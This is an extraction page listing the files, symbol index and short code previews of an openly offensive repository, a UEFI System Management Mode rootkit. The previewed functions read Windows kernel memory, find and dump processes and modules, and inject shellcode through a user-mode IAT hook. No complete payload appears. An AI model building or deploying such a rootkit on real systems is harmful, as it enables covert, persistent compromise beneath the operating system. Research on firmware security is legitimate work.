function BOOLEAN (line 16) | BOOLEAN InitMemManager(UINT32 pages)
function VOID (line 42) | VOID *palloc(UINT32 pages)
function VOID (line 52) | VOID pfree(VOID *address, UINT32 pages)
function VOID (line 57) | VOID *malloc(UINT32 size)
function VOID (line 114) | VOID free(VOID *address)
FILE: SMM Rootkit/SMMRootkit/MemManager.h
type MemAllocEntry_t (line 26) | typedef struct memallocentry MemAllocEntry_t, *PMemAllocEntry_t;
type memallocentry (line 29) | struct memallocentry
type memallocentry (line 40) | struct memallocentry {
FILE: SMM Rootkit/SMMRootkit/Memory.c
function BOOLEAN (line 6) | BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose)
function UINT64 (line 27) | UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose)
function BOOLEAN (line 146) | BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UIN...
function BOOLEAN (line 277) | BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBa...
function BOOLEAN (line 291) | BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 dir...
function BOOLEAN (line 320) | BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBas...
FILE: SMM Rootkit/SMMRootkit/Memory.h
type Cache (line 16) | typedef struct _Cache
type UINT32 (line 23) | typedef UINT32 size_t;
FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.c
function BOOLEAN (line 15) | BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap)
function STATIC (line 31) | STATIC BOOLEAN CopyMemUnsafe(UINT64 dest, UINT64 src, UINT32 n, BOOLEAN ...
function STATIC (line 44) | STATIC VOID SortMemoryMap(
function STATIC (line 76) | STATIC VOID MergeMemoryMapForNotPresentEntry(
function BOOLEAN (line 125) | BOOLEAN InitUefiMemoryMap()
function BOOLEAN (line 181) | BOOLEAN IsAddressValid(UINT64 address)
function EFI_MEMORY_DESCRIPTOR (line 204) | EFI_MEMORY_DESCRIPTOR *GetUefiMemoryMap()
function VOID (line 209) | VOID ShowMemoryMap()
FILE: SMM Rootkit/SMMRootkit/SMMRootkit.c
function VOID (line 30) | VOID SmmCallHandle()
function EFI_STATUS (line 50) | EFI_STATUS EFIAPI SmmHandler(IN EFI_HANDLE DispatchHandle, IN CONST VOID...
function EFI_STATUS (line 76) | EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABL...
FILE: SMM Rootkit/SMMRootkit/TimerRTC.c
function UINT8 (line 4) | UINT8 cmos_read(UINT8 index)
function VOID (line 10) | VOID cmos_write(UINT8 index, UINT8 val)
function VOID (line 16) | VOID read_statusc()
function VOID (line 23) | VOID cmos_enable()
function UINT8 (line 44) | UINT8 get_RTC_register(INT32 reg)
function UINT16 (line 50) | UINT16 CmosGetCurrentTime()
FILE: SMM Rootkit/SMMRootkit/WinTools.c
function STATIC (line 16) | STATIC BOOLEAN CheckLow(UINT64 *pml4, UINT64 *kernelEntry)
function STATIC (line 47) | STATIC BOOLEAN findNtosKrnl(UINT64 kernelEntry, UINT64 PML4, UINT64 *ntK...
function VOID (line 139) | VOID FreeExportList(WinExportList list)
function UINT64 (line 151) | UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 ...
function UINT64 (line 163) | UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName)
function STATIC (line 171) | STATIC UINT16 GetNTVersion(const WinCtx *ctx)
function STATIC (line 205) | STATIC UINT32 GetNTBuild(const WinCtx *ctx)
function STATIC (line 263) | STATIC BOOLEAN SetupOffsets(WinCtx *ctx)
function BOOLEAN (line 353) | BOOLEAN InitGlobalWindowsContext()
function BOOLEAN (line 482) | BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT...
function BOOLEAN (line 592) | BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UI...
function IMAGE_NT_HEADERS (line 618) | IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process,...
function BOOLEAN (line 639) | BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose)
function BOOLEAN (line 771) | BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *proc...
function STATIC (line 895) | STATIC BOOLEAN DumpSingleModule64(const WinCtx *ctx, const WinProc *proc...
function STATIC (line 991) | STATIC BOOLEAN DumpSingleModule86(const WinCtx *ctx, const WinProc *proc...
function BOOLEAN (line 1096) | BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinM...
function PEB (line 1115) | PEB GetPeb(const WinCtx *ctx, const WinProc *process)
function PEB32 (line 1124) | PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process)
function STATIC (line 1135) | STATIC PIMAGE_NT_HEADERS PE_HeaderGetVerify(WinProc *process, WinModule ...
function BOOLEAN (line 1169) | BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, ...
function STATIC (line 1338) | STATIC UINT16 PE_SectionGetNumberOf(WinProc *process, WinModule *basemod...
function STATIC (line 1377) | STATIC VOID PE_SECTION_DisplayBuffer(WinProc *process, WinModule *basemo...
function BOOLEAN (line 1427) | BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMA...
function STATIC (line 1444) | STATIC BOOLEAN PE_GetThunkInfoEAT(WinProc *process, WinModule *basemodul...
function UINT64 (line 1586) | UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CH...
FILE: SMM Rootkit/SMMRootkit/WinTools.h
type ProcessData (line 32) | typedef struct ProcessData
type WinOffsets (line 39) | typedef struct WinOffsets
type WinProc (line 52) | typedef struct WinProc
type WinProcList (line 61) | typedef struct WinProcList
type WinExport (line 67) | typedef struct WinExport
type WinExportList (line 73) | typedef struct WinExportList
type WinModule (line 79) | typedef struct WinModule
type WinModuleList (line 88) | typedef struct WinModuleList
type WinCtx (line 94) | typedef struct WinCtx
type PE_THUNKINFO_IAT (line 105) | typedef struct tdPE_THUNKINFO_IAT
type PE_THUNKINFO_EAT (line 115) | typedef struct tdPE_THUNKINFO_EAT
type IMAGE_IMPORT_DESCRIPTOR (line 124) | typedef struct _IMAGE_IMPORT_DESCRIPTOR
FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.c
function BOOLEAN (line 30) | static BOOLEAN WindowsUmdIATHookStage1()
function BOOLEAN (line 59) | static BOOLEAN WindowsUmdIATHookStage2()
function BOOLEAN (line 193) | static BOOLEAN WindowsUmdIATHookStage3()
function BOOLEAN (line 244) | BOOLEAN WindowsUmdIATHook()
function VOID (line 304) | VOID InitWindowsUmdIATHook()
FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.h
type WinUmdIATState (line 11) | typedef enum _WinUmdIATState
type WinUmdIATCtxLimited (line 19) | typedef struct _WinUmdIATCtx
FILE: SMM Rootkit/SMMRootkit/serial.c
function VOID (line 35) | VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate)
function VOID (line 56) | VOID SerialPortWrite(UINT16 Port, UINT8 Data)
function UINT8 (line 70) | UINT8 SerialPortRead(UINT16 Port)
function VOID (line 84) | VOID SerialPrintString(const char *text)
function VOID (line 95) | VOID SerialPrintStringDebug(const char *text)
function VOID (line 102) | VOID SerialTest()
function VOID (line 112) | VOID SerialSendData(const VOID *buf, UINT8 len)
function VOID (line 120) | VOID SerialPrintNumber(INT64 _v, INT64 _b)
function VOID (line 158) | VOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b)
FILE: SMM Rootkit/SMMRootkit/string.c
function strlen (line 3) | size_t strlen(const CHAR8 *str)
function CHAR8 (line 12) | CHAR8 *strcat(CHAR8 *destination, const CHAR8 *source)
function INT32 (line 28) | INT32 memcmp(const VOID *str1, const VOID *str2, size_t count)
function CHAR8 (line 41) | CHAR8 tolower(UINT8 ch)
function INT32 (line 48) | INT32 stricmp(const CHAR8 *s1, const CHAR8 *s2)
function INT32 (line 59) | INT32 strcmp(const CHAR8 *s1, const CHAR8 *s2)
function INT32 (line 67) | INT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n)
function CHAR8 (line 85) | const CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y)
function CHAR8 (line 100) | CHAR8 *strdup(CHAR8 *src)
FILE: SMM Rootkit/SMMRootkit/string.h
type UINT32 (line 8) | typedef UINT32 size_t;
FILE: SMM Rootkit/SMMRootkit/windows.h
type IMAGE_DOS_HEADER (line 26) | typedef struct _IMAGE_DOS_HEADER
type IMAGE_EXPORT_DIRECTORY (line 49) | typedef struct _IMAGE_EXPORT_DIRECTORY
type IMAGE_FILE_HEADER (line 64) | typedef struct _IMAGE_FILE_HEADER
type IMAGE_DATA_DIRECTORY (line 75) | typedef struct _IMAGE_DATA_DIRECTORY
type IMAGE_OPTIONAL_HEADER64 (line 81) | typedef struct _IMAGE_OPTIONAL_HEADER64
type IMAGE_NT_HEADERS64 (line 115) | typedef struct _IMAGE_NT_HEADERS64
type IMAGE_OPTIONAL_HEADER32 (line 122) | typedef struct _IMAGE_OPTIONAL_HEADER32
type IMAGE_NT_HEADERS32 (line 157) | typedef struct _IMAGE_NT_HEADERS32
type IMAGE_SECTION_HEADER (line 164) | typedef struct _IMAGE_SECTION_HEADER
type LIST_ENTRY_WIN (line 181) | typedef struct _LIST_ENTRY_WIN
type UNICODE_STRING (line 187) | typedef struct _UNICODE_STRING
type LDR_MODULE (line 194) | typedef struct _LDR_MODULE
type PEB_LDR_DATA (line 211) | typedef struct _PEB_LDR_DATA
type PEB (line 222) | typedef struct _PEB
type LIST_ENTRY_32_WIN (line 234) | typedef struct _LIST_ENTRY_32_WIN
type UNICODE_STRING32 (line 240) | typedef struct _UNICODE_STRING32
type LDR_MODULE32 (line 247) | typedef struct _LDR_MODULE32
type PEB_LDR_DATA32 (line 264) | typedef struct _PEB_LDR_DATA32
type PEB32 (line 275) | typedef struct _PEB32
FILE: SMM Rootkit/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c
function BOOLEAN (line 33) | BOOLEAN
function VOID (line 60) | VOID
function UINT64 (line 81) | UINT64
function UINT8 (line 97) | UINT8
function VOID (line 137) | VOID
function UINT32 (line 238) | UINT32
function VOID (line 345) | VOID
function UINT64 (line 365) | UINT64
function UINT64 (line 384) | UINT64
function VOID (line 420) | VOID
function UINT64 (line 632) | UINT64
function VOID (line 662) | VOID
function VOID (line 801) | VOID
function VOID (line 904) | VOID
FILE: shellcode/windows_x64_umd_iat/windows_x64_umd_iat.c
type QWORD (line 11) | typedef unsigned __int64 QWORD, *PQWORD;
type UMD_EXEC_CONTEXT_FULL (line 34) | typedef struct tdUMD_EXEC_CONTEXT_FULL {
function VOID (line 100) | VOID c_EntryPoint(PUMD_EXEC_CONTEXT_FULL ctx)
FILE: target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.cpp
function main (line 9) | int main()
Condensed preview — 40 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (305K chars).
[
{
"path": ".gitignore",
"chars": 6,
"preview": "edk2/*"
},
{
"path": "Dockerfile",
"chars": 213,
"preview": "FROM ubuntu:16.04\nMAINTAINER Jussi Hietanen\n\nRUN \\\n\tapt-get update && \\\n\tapt-get -y install ccache build-essential pytho"
},
{
"path": "LICENSE",
"chars": 35149,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "README.md",
"chars": 6326,
"preview": "# SMM Rootkit\n\n## Table of contents\n- [Repository Contents](#repository-contents)\n * [SMM Rootkit](#smm-rootkit-1)\n * "
},
{
"path": "SMM Rootkit/Conf/target.txt",
"chars": 5206,
"preview": "#\r\n# Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>\r\n#\r\n# This program and the accompanying ma"
},
{
"path": "SMM Rootkit/OvmfPkg/OvmfPkgX64.dsc",
"chars": 40591,
"preview": "## @file\r\n# EFI/Framework Open Virtual Machine Firmware (OVMF) platform\r\n#\r\n# Copyright (c) 2006 - 2018, Intel Corpora"
},
{
"path": "SMM Rootkit/OvmfPkg/OvmfPkgX64.fdf",
"chars": 18780,
"preview": "## @file\r\n# Open Virtual Machine Firmware: FDF\r\n#\r\n# Copyright (c) 2006 - 2017, Intel Corporation. All rights reserved"
},
{
"path": "SMM Rootkit/SMMRootkit/.gitignore",
"chars": 9,
"preview": ".vscode/\n"
},
{
"path": "SMM Rootkit/SMMRootkit/MemManager.c",
"chars": 3178,
"preview": "#include \"MemManager.h\"\n\nstatic BOOLEAN memPoolInitialized;\nstatic PMemAllocEntry_t memPool;\nstatic UINT32 pagesInPool;\n"
},
{
"path": "SMM Rootkit/SMMRootkit/MemManager.h",
"chars": 2018,
"preview": "#ifndef __smmrootkit_memory_manager_h__\n#define __smmrootkit_memory_manager_h__\n\n#include <Uefi.h>\n#include <Base.h>\n#in"
},
{
"path": "SMM Rootkit/SMMRootkit/Memory.c",
"chars": 8260,
"preview": "#include \"Memory.h\"\n\n// from SMMRootkit.c\nextern EFI_SMM_SYSTEM_TABLE2 *gSmst2;\n\nBOOLEAN p_memCpy(UINT64 dest, UINT64 sr"
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{
"path": "SMM Rootkit/SMMRootkit/Memory.h",
"chars": 972,
"preview": "#ifndef __smmrootkit_memory_h__\n#define __smmrootkit_memory_h__\n\n#include <Uefi.h>\n#include <Protocol/SmmBase2.h>\n\n#incl"
},
{
"path": "SMM Rootkit/SMMRootkit/MemoryMapUEFI.c",
"chars": 6879,
"preview": "#include \"MemoryMapUEFI.h\"\n\nEFI_EXIT_BOOT_SERVICES gOrigExitBootServices;\nEFI_MEMORY_DESCRIPTOR *mUefiMemoryMap;\nUINTN m"
},
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"path": "SMM Rootkit/SMMRootkit/MemoryMapUEFI.h",
"chars": 341,
"preview": "#ifndef __smmrootkit_mm_uefi_h__\n#define __smmrootkit_mm_uefi_h__\n\n#include <Uefi.h>\n#include <Library/BaseMemoryLib.h>\n"
},
{
"path": "SMM Rootkit/SMMRootkit/SMMRootkit.c",
"chars": 4993,
"preview": "// Basic UEFI Libraries\n#include <Uefi.h>\n\n// Protocols\n#include <Protocol/SmmBase2.h>\n\n// Our includes\n#include \"Memor"
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{
"path": "SMM Rootkit/SMMRootkit/SMMRootkit.inf",
"chars": 1054,
"preview": "[defines]\n INF_VERSION = 0x00010005 \n BASE_NAME = SMMRootkit\n FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1\n MODU"
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{
"path": "SMM Rootkit/SMMRootkit/TimerRTC.c",
"chars": 1201,
"preview": "#include \"TimerRTC.h\"\n\n\nUINT8 cmos_read(UINT8 index)\n{\n IoWrite8(CMOS_PORT_ADDRESS, index);\n return IoRead8(CMOS_PORT_"
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"path": "SMM Rootkit/SMMRootkit/TimerRTC.h",
"chars": 368,
"preview": "#ifndef __smmrootkit_timer_rtc_h__\n#define __smmrootkit_timer_rtc_h__\n\n#include <Uefi.h>\n#include <Library/IoLib.h>\n\n#de"
},
{
"path": "SMM Rootkit/SMMRootkit/WinTools.c",
"chars": 47697,
"preview": "#include \"WinTools.h\"\n\n#ifndef HEADER_SIZE\n#define HEADER_SIZE 0x1000\n#endif\n\nWinCtx *winGlobal = NULL;\n\n// from SMMRoot"
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"path": "SMM Rootkit/SMMRootkit/WinTools.h",
"chars": 4575,
"preview": "/*\n * This file and the corresponding .c file \n * contains a set of needed Windows-related \n * functions for both readin"
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"chars": 10864,
"preview": "#include \"WinUmdIATHook.h\"\n\n// From NtKernelTools.c\nextern WinCtx *winGlobal;\n\n// shellcode to inject into the UMD\nconst"
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"path": "SMM Rootkit/SMMRootkit/WinUmdIATHook.h",
"chars": 852,
"preview": "#ifndef __smmrootkit_win_umd_iat_h__\n#define __smmrootkit_win_umd_iat_h__\n\n#include <Base.h>\n\n#include \"windows.h\"\n#incl"
},
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"path": "SMM Rootkit/SMMRootkit/serial.c",
"chars": 3289,
"preview": "#include \"serial.h\"\r\n\r\n/*\r\n * UART Register Offsets\r\n */\r\n#define BAUD_LOW_OFFSET 0x00\r\n#define BAUD_HIGH_OFFSET 0x01\r\n#"
},
{
"path": "SMM Rootkit/SMMRootkit/serial.h",
"chars": 1464,
"preview": "#ifndef __smmrootkit_serial_h__\r\n#define __smmrootkit_serial_h__\r\n\r\n/*\r\n * Serial port configuration.\r\n * For EFI_DEBUG_"
},
{
"path": "SMM Rootkit/SMMRootkit/string.c",
"chars": 2020,
"preview": "#include \"string.h\"\n\nsize_t strlen(const CHAR8 *str)\n{\n const CHAR8 *s;\n\n for (s = str; *s; ++s)\n ;\n return (s - s"
},
{
"path": "SMM Rootkit/SMMRootkit/string.h",
"chars": 568,
"preview": "#ifndef __smmrootkit_string_h__\n#define __smmrootkit_string_h__\n\n#include <Base.h>\n#include \"MemManager.h\" // strdup\n\n#i"
},
{
"path": "SMM Rootkit/SMMRootkit/windows.h",
"chars": 7127,
"preview": "/*\r\n * This file has originally been supplied from \r\n * vmread by Heep042\r\n */\r\n\r\n#ifndef __smmrootkit_windows_h__\r\n#def"
},
{
"path": "SMM Rootkit/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c",
"chars": 31550,
"preview": "/** @file\r\nPage Fault (#PF) handler for X64 processors\r\n\r\nCopyright (c) 2009 - 2017, Intel Corporation. All rights reser"
},
{
"path": "SMM Rootkit/UefiCpuPkg/UefiCpuPkg.dec",
"chars": 16767,
"preview": "## @file UefiCpuPkg.dec\r\n# This Package provides UEFI compatible CPU modules and libraries.\r\n#\r\n# Copyright (c) 2007 - "
},
{
"path": "run_docker.sh",
"chars": 710,
"preview": "#!/bin/bash\n\nSOURCE=\"${BASH_SOURCE[0]}\"\nwhile [ -h \"$SOURCE\" ]; do # resolve $SOURCE until the file is no longer a symli"
},
{
"path": "shellcode/windows_x64_umd_iat/README.md",
"chars": 844,
"preview": "# Windows X64 Usermode IAT Hook\n\n## Compile and use\n\n```\ncl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /c /TC window"
},
{
"path": "shellcode/windows_x64_umd_iat/windows_x64_umd_iat.asm",
"chars": 1280,
"preview": "; wx64_umd_exec.asm : assembly to receive execution from initial hook in user-mode shellcode (umd).\n;\n; (c) Ulf Frisk, 2"
},
{
"path": "shellcode/windows_x64_umd_iat/windows_x64_umd_iat.c",
"chars": 4194,
"preview": "// wx64_umd_exec_c.c : usermode 'umd' shellcode for PCILeech for starting and\n// and executing a pro"
},
{
"path": "target_tests/windows_x64_umd_iat/.gitignore",
"chars": 6084,
"preview": "## Ignore Visual Studio temporary files, build results, and\r\n## files generated by popular Visual Studio add-ons.\r\n##\r\n#"
},
{
"path": "target_tests/windows_x64_umd_iat/README.md",
"chars": 527,
"preview": "# Tester program for Windows X64 Usermode IAT Hook\n\nThis program is a tester program for the IAT hook shellcode.\n\nIt cal"
},
{
"path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.cpp",
"chars": 339,
"preview": "// windows_x64_umd_iat.cpp : This file contains the 'main' function. Program execution begins and ends there.\r\n//\r\n\r\n#in"
},
{
"path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj",
"chars": 7434,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/ms"
},
{
"path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj.filters",
"chars": 973,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
},
{
"path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat.sln",
"chars": 1475,
"preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.2"
}
]
About this extraction
This page contains the full source code of the jussihi/SMM-Rootkit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 40 files (281.7 KB), approximately 83.3k tokens, and a symbol index with 135 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.